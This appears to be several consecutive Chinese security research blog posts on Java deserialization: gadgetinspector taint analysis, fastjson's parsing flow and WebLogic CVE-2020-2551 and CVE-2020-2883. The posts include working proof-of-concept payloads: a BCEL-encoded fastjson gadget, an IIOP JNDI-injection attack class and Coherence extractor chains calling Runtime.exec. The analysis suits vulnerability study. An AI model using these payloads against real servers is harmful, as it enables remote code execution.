                    for (int i = 3; i < passthrough.length; i++) {
                        resultTaint.addAll(argTaint.get((Integer)passthrough[i]));
                    }
                }
            }

            if (passthroughDataflow != null) {
                Set<Integer> passthroughArgs = passthroughDataflow.get(methodHandle);
                if (passthroughArgs != null) {
                    for (int arg : passthroughArgs) {
                        resultTaint.addAll(argTaint.get(arg));
                    }
                }
            }

            // Heuristic; if the object implements java.util.Collection or java.util.Map, assume any method accepting an object
            // taints the collection. Assume that any method returning an object returns the taint of the collection.
            if (opcode != Opcodes.INVOKESTATIC && argTypes[0].getSort() == Type.OBJECT) {
                Set<ClassReference.Handle> parents = inheritanceMap.getSuperClasses(new ClassReference.Handle(argTypes[0].getClassName().replace('.', '/')));
                if (parents != null && (parents.contains(new ClassReference.Handle("java/util/Collection")) ||
                                        parents.contains(new ClassReference.Handle("java/util/Map")))) {
                    for (int i = 1; i < argTaint.size(); i++) {
                        argTaint.get(0).addAll(argTaint.get(i));
                    }

                    if (returnType.getSort() == Type.OBJECT || returnType.getSort() == Type.ARRAY) {
                        resultTaint.addAll(argTaint.get(0));
                    }
                }
            }

            if (retSize > 0) {
                //模拟方法执行:将返回值入栈
                push(resultTaint);
                for (int i = 1; i < retSize; i++) {
                    push();
                }
            }
            break;
        default:
            throw new IllegalStateException("Unsupported opcode: " + opcode);
    }

    super.visitMethodInsn(opcode, owner, name, desc, itf);

    sanityCheck();
}

我们重点关注这部分,因为这里用到了passthroughDataflow

首先从passthroughDataflow获取target方法的污染参数下标集合保存到了passthroughArgs

然后遍历passthroughArgs,将其转变为caller方法的污染参数下标集合,然后保存到resultTaint中

image-20211209122731660

我们先让它执行676行,获取到的target方法的污染参数下标集合里有一个元素1,这里target方法为method3,caller方法为method2,说明method3下标为1的参数可以污染method3的返回值(下标0为this),这个结果显而易见

class B {
    public String method2(String param) {
        return new C().method3(param);
    }
}
class C {
    public String method3(String param) {
        return param;
    }
}

image-20211209123338801

继续向下跟进到for循环,执行argTaint.get(arg),这里argTaint保存的是caller方法在调用target方法时使用的参数。这些参数都是以caller方法的参数列表下标来呈现的。

比如现在argTaint有两个元素,0号下标为this,1号下标为arg1。arg1说明这个参数是caller方法参数列表中的第一个参数,也即method2参数列表中的param参数。这也就说明,在method2(caller)调用method3(target)时,将method2的param参数传递给了method3进行调用。

在执行argTaint.get(arg)时,就是将caller方法的参数列表和target方法的参数列表联系了起来,建立了对应关系。逻辑是这样的:arg是target参数列表中可以污染返回值的参数下标,而argTaint又存储了caller方法在调用target方法时使用的参数列表,那么,argTaint.get(arg)就是获取了arg在caller参数列表中的下标,实现了污点传递的效果。笔者表达能力有限,这里说的或许有点绕,建议多看几遍理解。

image-20211209124219064

然后将arg1加入到了resultTaint中,表示method2的arg1能够能够在method2调用method3时污染返回值。

image-20211209134044775

最后,为了模拟方法执行,将返回值入栈

image-20211209134132664

实际上这里想要实现的就是一个污点传递,如果代码再复杂一些,method2变成这样。那么我们通过上面的分析,知道了method2的param参数是可以污染method3的返回值的,也就能污染局部变量s,紧接着在分析Runtime.getRuntime().exec(s);时就能将其判断为sink。

设想,如果没有passthroughDataflow,我们就没法判断method3的param参数能否污染返回值,也就没法判断局部变量s能否被method2的param参数污染,最终也无从判断Runtime.getRuntime().exec(s);是否是sink点。

class B {
    public String method2(String param) {
        String s = new C().method3(param);
        Runtime.getRuntime().exec(s);
        return s;
    }
}

总结

最后贴一张个人总结的流程图(忽略水印

gadget_inspector

参考文章

java反序列化利用链自动挖掘工具gadgetinspector源码浅析

Java 反序列化工具 gadgetinspector 初窥

前言

fastjson的漏洞也跟了不少,不过玩来玩去始终眼光都聚焦于checkAutoType方法,对于fastjson框架整体的把握感觉很不够,有一天突然想到一个问题:fastjson反序列化的流程是怎样的?想了半天硬是不知道从哪里说起,于是就下了一番功夫去跟了一下底层源码,于是才有了这篇文章。

在正式开始之前做一点说明,本文基于fastjson1.2.23进行分析,这个版本还不涉及到autoType黑名单。因此,本文主要侧重fastjson反序列化的重要步骤,主要是一些宏观上的流程,希望能通过这篇文章,对fastjson反序列化流程有一个整体上的认识。

下面的分析基于如下代码,代码的执行效果是弹出计算器。

import com.alibaba.fastjson.JSON;

import java.io.IOException;

public class FastJsonTest1 {

    public static void main(String[] args) {
        String json="{\n" +
                "        \"@type\": \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\n" +
                "        \"driverClassLoader\": {\n" +
                "            \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\",\n" +
                "        },\n" +
                "        \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeP$cbN$C1$U$3d$e5$d5a$i$e4$a5$f8De$r$b0$90$8d$3b$88$h$82$89$R$c5$I$d1$f5P$hR$if$c80$Q$fe$c85$h4$$$fc$A$3f$cax$a7Q$q$b1$8b$de$db$f3$bam$3f$bf$de$3f$A$9c$a3d$c2$40$ceD$k$5b$G$b6$c3Z$e0$d81$R$c7$$$c7$k$c7$3eC$a2$a1$5c$V$5c0D$cb$95$H$86X$d3$7b$92$M$e9$b6r$e5$edt$d4$97$7e$cf$ee$3b$84$Y$N$e1$fc$uS$dd$c0$W$cf7$f6XS$U$c8$60v$bd$a9$_$e4$a5$K$a5$a9$d6L9M$db$RgC$7bf$5bH$c2$e48$b0p$88$o$N$QDX8$c21C$3e$e4k$ca$ab$5duZs$n$c7$81$f2$5c$L$t0i$dco$GCF$ab$i$db$j$d4$3a$fd$a1$U$BC$f6$P$ba$9f$ba$81$g$d1Ts$m$83$d5a$bb$5ci$ff$d3$d4i$ba$9cK$8a$3c$z$af$b1$dd$c0W$ee$a0$ben$b8$f3$3d$n$t$T2$a4$c7D$G$fa$c1$3d$df$W$S$rp$fa$d3pE$c0$c2$a7$d1$beA$a7$oUF5$5e$7d$F$5bP$c3$60$d1$9e$d0$60$94$y$a9$95$b4$a3$ad$40$ee$N$91$5ct$89$d8$e3$L$8c$eb$ea$S$89$85$c6$93$e4$8c$93$s$f4$X$a8$LS$92$g$e5$94b$mKI$9b$84rD$da$i$e9$Y$992$fa$3e$d9oO$3f$V$ac$f9$B$A$A\",\n" +
                "}";
        json=json.replace("\n","").replace("\t","").replace(" ","");
        System.out.println(json);
        JSON.parseObject(json);
    }

}

接下来,我们在JSON.parseObject方法上打上断点进行分析,主要的流程可以分为如下几步

词法分析

实际上词法分析是贯穿整个fastjson反序列化的流程的,这里为了方便,把他单独作为一步拿出来,但是希望读者不要被误解。词法分析是贯穿整个fastjson反序列化的流程,贯穿整个fastjson反序列化的流程,贯穿整个fastjson反序列化的流程的。

首先是JSON.parseObject方法,它继续调用了JSON.parse

image-20211117165907581

跟进JSON.parseJSON.parse调用了一个重载的方法最终来到下图所示的这里。这里需要解释一下这个方法的参数

  1. text参数,实际上就是我们需要反序列化的json字符串
  2. features参数,它定义了fastjson反序列化过程中的一些特性,我们如果不特殊指定的话使用的就是默认特性,比如:允许字段名不使用引号包裹、允许使用单引号代替双引号等特性(具体参考JSON类的static代码块)

然后看到,如果text不为null,就会创建一个parser来解析text

image-20211117165958474

我们直接跟进74行parser.parse,再经过一些重载方法调用后,来到了这里,看到一个swith-case代码块

这里一下这个swith-case,首先看到switch的变量是lexer.token(),lexer就是词法分析器,也就是词法分析这个工作的负责人。调用它的token方法就能够返回上一个解析完毕的token类型,根据不同的token类型这里会选择进入不同的case进行处理。

image-20211117170557875

比如我们这里的token类型是12,对应的是json字符串最开始的{,进入case12。这里首先创建了一个JSONObject对象,然后将其传入了DefaultJSONParser::parseObject

image-20211117171034694

跟进DefaultJSONParser::parseObject

image-20211117171131942

再次获取token,由于我们在两次获取token之间并未调用词法分析器让它继续向下分析,所以这里获取到的token跟上次一样,仍然是12,对应于{,进入else分支

image-20211117171349902

在这个else里就准备开始干大事了,不断地调用词法分析器lexer让它进行分析。红色注释的部分都是在调用词法分析器。这里应该非常好理解,这个代码的逻辑实际上跟json的语法是互相匹配的。

image-20211117171711926

经过上面的分析,然后看看我们的传入的json,不难知道,这个key字符串实际上就是@type

image-20211117172202715

继续往下看,在274行,判断key是否等于@type并且是否禁用了特殊key(默认未禁用),条件得到满足,进入if

image-20211117172347725

进入之后275行又调用了词法分析器扫描,从当前字符开始,扫描到下一个引号,得到的ref值就是org.apache.tomcat.dbcp.dbcp.BasicDataSource

然后276行调用TypeUtils.loadClass进行了类加载,进入下一部分

加载@type指定的类

这里类加载的过程也比较简单,就是通过应用程序类加载器将类进行加载,完全没有任何过滤。

image-20211117172736827

实际上,在后续的版本中就不再是调用TypeUtils.loadClass。而是调用ParserConfig::checkAutoType,也是从这里开启了后续众多的黑名单绕过研究。这个不是本文的重点,这里不多说。

创建deserializer

TypeUtils.loadClass结束之后,就获取到了@type指定的Class对象,紧接着就调用this.config.getDeserializer根据Class对象开始获取相应的反序列化器。

image-20211117185139980

跟进this.config.getDeserializer。先从derializers中尝试获取反序列化器,失败。然后由于type是Class类型(就是@type指定的Class对象),继续调用this.getDeserializer

image-20211117185312495

跟进this.getDeserializer,这个方法的前半段进行了一系列的尝试获取反序列化器,都没能成功获取。略掉那些步骤,直接进入this.createJavaBeanDeserializer,准备创建反序列化器

image-20211117185643303

跟进this.createJavaBeanDeserializer,略掉一些不重要的步骤,直接看475行,调用JavaBeanInfo.build,准备收集Bean的信息,来进行反序列化。

image-20211117185817150

跟进JavaBeanInfo.build,这个方法一上来就通过反射获取到了很多对象,包括Field对象、Method对象、Constructor对象。这些对象都是与@type指定的Class相关的,将会参与到后续的反序列化过程。

image-20211117185925412

我们跟进getDefaultConstructor,这个方法就是获取要反序列化的类的默认构造器,接下来会调用这个构造器来创建要反序列化的对象。在489行获取了所有的构造器,然后494行进行遍历,找出无参构造器直接break,然后由于defaultConstructor!=null跳过502行的if,函数返回。所以,这个函数的作用简单理解就是在获取无参构造器。

image-20211117190415078

回到JavaBeanInfo.build,接下来开始遍历methods,就是build方法最开始通过反射获取到的@type指定的类中的public方法

image-20211117190651052

这个for循环实际上就是在找setter方法,通过setter方法,得到对象中的字段名字,然后反射获取Field对象,封装成FieldInfo对象,然后加入到fieldList中。

image-20211117191744970

遍历完methods之后,开始遍历field,将field也封装成FieldInfo加入到fieldList,这里由于没有public修饰的字段,var29=0,载直接跳过

image-20211117192337989

紧接着又开始遍历methods,不过这次找的是getter方法,通过getter方法来获取字段,原理类似,不赘述了

image-20211117192510629

最终,字段信息都获取完毕后,就将fieldList传入JavaBeanInfo的构造器,开始创建JavaBeanInfo对象,然后JavaBeanInfo.build方法就返回了。

接下来函数就开始逐层返回,最终返回到DefaultJSONParser::parseObject,意味着this.config.getDeserializer执行完毕,反序列化器获取完毕。

image-20211117193407634

deserializer.deserialize

接下来就开始使用反序列化器来反序列化对象了。deserializer.deserialze经历若干个重载方法后,来到这里。这里的函数参数type还是@type指定的Class,if条件满足,然后又开始使用词法分析器读入字符进行分析。

image-20211117194536853

deserializer.deserialze会一边遍历创建deserializer过程中得到的sortedFieldDeserializers,一边查找json字符串,匹配上就将json字符串中的value设置到对应的字段中。设置的时候会用到反射机制。这里以driverClassLoaderdriverClassName字段的反序列化为例进行分析

先看driverClassLoader字段,遍历到driverClassLoader字段的时候,匹配到json字符串中的driverClassLoader键,matchField变量被设置成true

image-20211117213002206

然后由于matchField变量为true,进入557行的if,调用fieldDeser.parseField

image-20211117212829836

跟进fieldDeser.parseField,红色字体注释了这个方法中的三个核心步骤。由于这里的driverClassLoader也是一个复杂对象,那么也同样需要进行反序列化,步骤也是一样的,先创建反序列化器,然后用反序列化器进行反序列化,就不再跟进了。

image-20211117213339659

最后反序列化的到value为com.sun.org.apache.bcel.internal.util.ClassLoader对象,然后调用setValue将value设置到对应的字段

image-20211117213553015

跟进setValue,这里就用到了创建deserializer过程中创建的FieldInfo,还记得之前遍历setter方法生成FieldInfo的过程吗?这里就用到那里的setter方法,通过反射调用setter方法给字段赋值。

image-20211117213759226

再来看看driverClassName字段的反序列化,加深一下印象。遍历到driverClassName字段的时候,匹配到json字符串中的driverClassName键,matchField变量被设置成true,然后调用fieldDeser.setValue将json字符串中driverClassName键对应的值设置到对象的字段中。

这里与前面driverClassLoader是有些许区别的,driverClassLoader由于是一个复杂对象,valueParsed=false进入了559行,需要先反序列化对象再给字段赋值。而这里的driverClassName是一个String类型的,反序列化较容易,所以直接parse完就赋值了。

image-20211117210812289

跟进fieldDeser.setValue,同样用到了创建deserializer过程中创建的FieldInfo,通过反射调用setter方法给字段赋值。至此,driverClassName的赋值就告一段落

image-20211117211024279

等json字符串中的所有的字段都复制完毕后,也就意味着反序列化工作基本结束,对象恢复完毕,deserializer.deserialze就开始返回,回到DefaultJSONParser::parseObject中。

image-20211117214716279

随后DefaultJSONParser::parseObject方法也返回了,逐层返回到JSON::parseObject。下面还会调用JSON::toJSON,不过这就不太算反序列化的过程了,分析就到此为止吧。

image-20211117214859971

总结

从宏观角度来看,fastjson反序列化实际上逻辑性还是非常强的。可以分为如下几步

  1. 获取@type指定的Class对象
  2. 根据Class对象获取类的信息(主要是字段信息,顺便拿到setter方法,将字段信息都保存到了FieldDeserializer对象中),最终将类信息都存到deserializer(通常是JavaBeanDeserializer)中
  3. 调用deserializer.deserialize进行反序列化,一边遍历FieldDeserializer数组,一边与json字符串比对,找到对应的就给对应的字段设置值。如果字段是简单类型就直接设置,如果是复杂类型,将递归调用步骤1。

粗略看了一下高版本的fastjson1.2.68,发现代码虽然有所改动,但是整体框架还是没变的,以上三步仍然适用。

参考文章

Fastjson反序列化RCE核心-四个关键点分析

前言

原本应该更早发出这篇文章,但是被一些杂七杂八的事一直阻断着,搞得最后两个CVE,CVE-2020-14882和14883一直没分析完。而且这俩本身也比较复杂,不是反序列化漏洞,而是框架请求处理过程中有bug,就一直拖到了现在。

CVE-2020-2551

原理

IIOP协议

在了解这个CVE之前,需要有IIOP的前置知识。在我之前的文章weblogic古老漏洞梳理中,有提到过t3协议,t3协议是weblogic rmi在数据传输过程中使用到的协议,与之同等地位的就有jrmp协议,以及现在所讨论的IIOP协议。

这里继续搬运这篇文章的一张图来帮助理解。

image-20211104184728776

IIOP协议的底层这里不予过多赘述,前面在使用t3协议进行反序列化攻击时探讨过t3协议的格式,当时是为了方便书写python的poc。而IIOP我们可以直接调用java的api来传输恶意对象,就不必在关心底层协议的具体格式(如果未来深入研究IIOP协议反序列化攻击,估计还是要回来看底层)。

漏洞原理

IIOP跟t3的攻击思路是非常相似的,2551与CVE-2018-3191相同,都是使用了JtaTransactionManager类的jndi注入漏洞,来实现反序列化攻击。这里不过多赘述,直接给出调用栈。核心的流程就是栈顶的四步,非常好理解。

lookup:155, JndiTemplate (com.bea.core.repackaged.springframework.jndi)
lookupUserTransaction:565, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
initUserTransactionAndTransactionManager:444, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
readObject:1198, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
readObject:314, ObjectStreamClass (weblogic.utils.io)
readValueData:281, ValueHandlerImpl (weblogic.corba.utils)
readValue:93, ValueHandlerImpl (weblogic.corba.utils)
read_value:2128, IIOPInputStream (weblogic.iiop)
read_value:1936, IIOPInputStream (weblogic.iiop)
read_abstract_interface:2271, IIOPInputStream (weblogic.iiop)
readObject:2752, IIOPInputStream (weblogic.iiop)
readObjectOverride:164, ObjectInputStreamImpl (weblogic.iiop)
readObject:344, ObjectInputStream (java.io)
readObject:1030, HashMap (java.util)
invoke:-1, GeneratedMethodAccessor2 (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
readObject:314, ObjectStreamClass (weblogic.utils.io)
readValueData:281, ValueHandlerImpl (weblogic.corba.utils)
readValue:93, ValueHandlerImpl (weblogic.corba.utils)
read_value:2128, IIOPInputStream (weblogic.iiop)
readObject:2788, IIOPInputStream (weblogic.iiop)
readFields:460, ObjectStreamClass (weblogic.utils.io)
defaultReadObject:179, ObjectInputStreamImpl (weblogic.iiop)
readObject:312, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
readObject:314, ObjectStreamClass (weblogic.utils.io)
readValueData:281, ValueHandlerImpl (weblogic.corba.utils)
readValue:93, ValueHandlerImpl (weblogic.corba.utils)
read_value:2128, IIOPInputStream (weblogic.iiop)
read_abstract_interface:2279, IIOPInputStream (weblogic.iiop)
readObject:2785, IIOPInputStream (weblogic.iiop)
readFields:460, ObjectStreamClass (weblogic.utils.io)
readValueData:294, ValueHandlerImpl (weblogic.corba.utils)
readValue:93, ValueHandlerImpl (weblogic.corba.utils)
read_value:2128, IIOPInputStream (weblogic.iiop)
read_value:1936, IIOPInputStream (weblogic.iiop)
read_value_internal:220, AnyImpl (weblogic.corba.idl)
read_value:115, AnyImpl (weblogic.corba.idl)
read_any:1648, IIOPInputStream (weblogic.iiop)
read_any:1641, IIOPInputStream (weblogic.iiop)
_invoke:84, _NamingContextAnyImplBase (weblogic.corba.cos.naming)
invoke:249, CorbaServerRef (weblogic.corba.idl)
invoke:230, ClusterableServerRef (weblogic.rmi.cluster)
run:522, BasicServerRef$1 (weblogic.rmi.internal)
doAs:363, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:146, SecurityManager (weblogic.security.service)
handleRequest:518, BasicServerRef (weblogic.rmi.internal)
run:118, WLSExecuteRequest (weblogic.rmi.internal.wls)
execute:256, ExecuteThread (weblogic.work)
run:221, ExecuteThread (weblogic.work)

此外,笔者在学习过程中不是特别理解为什么非得使用动态代理来将JtaTransactionManager类转换为Remote接口的实现类,理论上来说不转也没什么大问题,这个漏洞只是利用了JtaTransactionManager的readObject方法而已,跟Remote接口没什么太大关系。

于是尝试将动态代理的部分去掉,直接反序列化JtaTransactionManager类,发现仍然能够成功攻击,调用栈如下。

lookup:155, JndiTemplate (com.bea.core.repackaged.springframework.jndi)
lookupUserTransaction:565, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
initUserTransactionAndTransactionManager:444, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
readObject:1198, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
readObject:314, ObjectStreamClass (weblogic.utils.io)
readValueData:281, ValueHandlerImpl (weblogic.corba.utils)
readValue:93, ValueHandlerImpl (weblogic.corba.utils)
read_value:2128, IIOPInputStream (weblogic.iiop)
read_value:1936, IIOPInputStream (weblogic.iiop)
read_value_internal:220, AnyImpl (weblogic.corba.idl)
read_value:115, AnyImpl (weblogic.corba.idl)
read_any:1648, IIOPInputStream (weblogic.iiop)
read_any:1641, IIOPInputStream (weblogic.iiop)
_invoke:84, _NamingContextAnyImplBase (weblogic.corba.cos.naming)
invoke:249, CorbaServerRef (weblogic.corba.idl)
invoke:230, ClusterableServerRef (weblogic.rmi.cluster)
run:522, BasicServerRef$1 (weblogic.rmi.internal)
doAs:363, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:146, SecurityManager (weblogic.security.service)
handleRequest:518, BasicServerRef (weblogic.rmi.internal)
run:118, WLSExecuteRequest (weblogic.rmi.internal.wls)
execute:256, ExecuteThread (weblogic.work)
run:221, ExecuteThread (weblogic.work)

漏洞利用

首先给出利用RMI IIOP协议传输恶意类的脚本

import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.weblogic.*;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Hashtable;

public class IIOPAttack {
    static String rhost="iiop://localhost:7001"; //靶机地址

    public static void main(String[] args) throws Exception{
        Hashtable<String, String> env = new Hashtable<String, String>();
        env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
        env.put("java.naming.provider.url", rhost);
        Context context = new InitialContext(env);
        ObjectPayload payload = new CVE_2020_2551_1();
        Object object = payload.getObject("{恶意rmi服务器地址}");
        context.rebind("r2"+System.nanoTime(), object);
    }
}

然后贴一下网上流传的生成恶意对象的poc

import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;
import com.nqzero.permit.Permit;
import ysoserial.payloads.ObjectPayload;
import java.lang.reflect.*;
import java.rmi.Remote;
import java.util.HashMap;
import java.util.Map;

public class CVE_2020_2551 implements ObjectPayload<Object> {
    public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";

    @Override
    public Object getObject(String... command) throws Exception {
        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
        jtaTransactionManager.setUserTransactionName(command[0]);
        Remote remote = createMemoitizedProxy(createMap("pwned"+System.nanoTime(), jtaTransactionManager), Remote.class);
        return remote;
//        return jtaTransactionManager;
    }

    public static <T> T createMemoitizedProxy(final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces) throws Exception {
        return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
    }

    public static InvocationHandler createMemoizedInvocationHandler(final Map<String, Object> map) throws Exception {
        return (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
    }

    public static Constructor<?> getFirstCtor(final String name) throws Exception {
        final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
        setAccessible(ctor);
        return ctor;
    }

    public static void setAccessible(AccessibleObject member) {
        // quiet runtime warnings from JDK9+
        Permit.setAccessible(member);
    }

    public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces) {
        final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
        allIfaces[0] = iface;
        if (ifaces.length > 0) {
            System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
        }
        return iface.cast(Proxy.newProxyInstance(CVE_2020_2551.class.getClassLoader(), allIfaces, ih));
    }

    public static Map<String, Object> createMap(final String key, final Object val) {
        final Map<String, Object> map = new HashMap<String, Object>();
        map.put(key, val);
        return map;
    }
}

然后是笔者将动态代理部分去掉的poc

import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;
import com.nqzero.permit.Permit;
import ysoserial.payloads.ObjectPayload;

import java.lang.reflect.*;
import java.rmi.Remote;
import java.util.HashMap;
import java.util.Map;

public class CVE_2020_2551_1 implements ObjectPayload<Object> {
    public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";

    @Override
    public Object getObject(String... command) throws Exception {
        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
        jtaTransactionManager.setUserTransactionName(command[0]);
        return jtaTransactionManager;
    }
}

CVE-2020-2883

在我之前的文章weblogic古老漏洞梳理的最后已经提到了weblogic2020年的一个CVE,是CVE-2020-2555。建议看2883的分析之前先去看看2555,否则没基础的话可能难以理解。

原理

之前在2555中,我们通过LimitFilter::toString来触发extactor::extract

exec:617, Runtime (java.lang)
exec:485, Runtime (java.lang)
invoke:-1, GeneratedMethodAccessor122 (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
extract:109, ReflectionExtractor (com.tangosol.util.extractor)
extract:81, ChainedExtractor (com.tangosol.util.extractor)
toString:580, LimitFilter (com.tangosol.util.filter)

但是看2555的补丁发现,extract方法的调用已经被删掉了

image-20211104154009954

那么2883的思路就是去找其他调用了extract方法的点,首先找到AbstractExtractor::compare,再这个方法中调用了extract方法

image-20211104154102842

那么如何触发compare方法的调用呢?可以借助CC2的思路,使用jdk原生的PriorityQueue进行触发,完整调用链如下。compare方法之前为CC2的调用链,compare之后为2555的构造思路。

exec:617, Runtime (java.lang)
exec:485, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
extract:109, ReflectionExtractor (com.tangosol.util.extractor)
extract:81, ChainedExtractor (com.tangosol.util.extractor)
extract:94, MultiExtractor (com.tangosol.util.extractor)
compare:79, AbstractExtractor (com.tangosol.util.extractor)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:2136, ObjectInputStream (java.io)
readOrdinaryObject:2027, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
readObject:67, InboundMsgAbbrev (weblogic.rjvm)
read:39, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:287, MsgAbbrevJVMConnection (weblogic.rjvm)
init:212, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:507, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:489, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:359, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:970, SocketMuxer (weblogic.socket)
readReadySocket:907, SocketMuxer (weblogic.socket)
process:495, NIOSocketMuxer (weblogic.socket)
processSockets:461, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)

其实不仅仅有AbstractExtractor::compare能触发extract,还有ExtractorComparator::compare

image-20211104155543937

给出调用栈

exec:617, Runtime (java.lang)
exec:450, Runtime (java.lang)
exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
extract:109, ReflectionExtractor (com.tangosol.util.extractor)
extract:81, ChainedExtractor (com.tangosol.util.extractor)
compare:61, ExtractorComparator (com.tangosol.util.comparator)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:2136, ObjectInputStream (java.io)
readOrdinaryObject:2027, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
readObject:67, InboundMsgAbbrev (weblogic.rjvm)
read:39, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:287, MsgAbbrevJVMConnection (weblogic.rjvm)
init:212, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:507, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:489, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:359, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:970, SocketMuxer (weblogic.socket)
readReadySocket:907, SocketMuxer (weblogic.socket)
process:495, NIOSocketMuxer (weblogic.socket)
processSockets:461, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)

漏洞利用

尝试漏洞利用的时候,一开始直接拿了网上的代码直接跑,大概长这个样子。

ValueExtractor[] valueExtractors = new ValueExtractor[]{
    new ConstantExtractor(Runtime.class),
    new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
    new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
    new ReflectionExtractor("exec", new Object[]{new String[]{"cmd.exe", "/c", "calc"}})
};
ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);
ExtractorComparator extractorComparator = new ExtractorComparator();
Field m_extractor = extractorComparator.getClass().getDeclaredField("m_extractor");
m_extractor.setAccessible(true);
m_extractor.set(extractorComparator, chainedExtractor);

PriorityQueue priorityQueue = new PriorityQueue();
priorityQueue.add("foo");
priorityQueue.add("bar");

Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue, extractorComparator);
return priorityQueue;

很快啊,啪的一下报错了。

image-20211104154638646

发现说ConstantExtractor不可被序列化。去检查一下发现,这个类还确实没有实现Serializable接口。这就有点奇怪了。猜测应该是我没打补丁的缘故,补丁或许修改了这个类的代码。

不过没有关系,ConstantExtractor的作用不就是提供了Runtime.class吗?我们看看有没有别的办法拿到它

很快就找到了解决思路,这里compare方法的两个参数想都不用想肯定是priorityqueue中的元素,然后他们被传入了extract方法中,那我们往priorityqueue中塞一个Runtime.class不就得了?

image-20211104154927033

通过反射我们将Runtime.class加入到queue中,即可得到这样的poc。

先给出通过ExtractorComparator::compare触发extract的poc

import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import ysoserial.payloads.ObjectPayload;
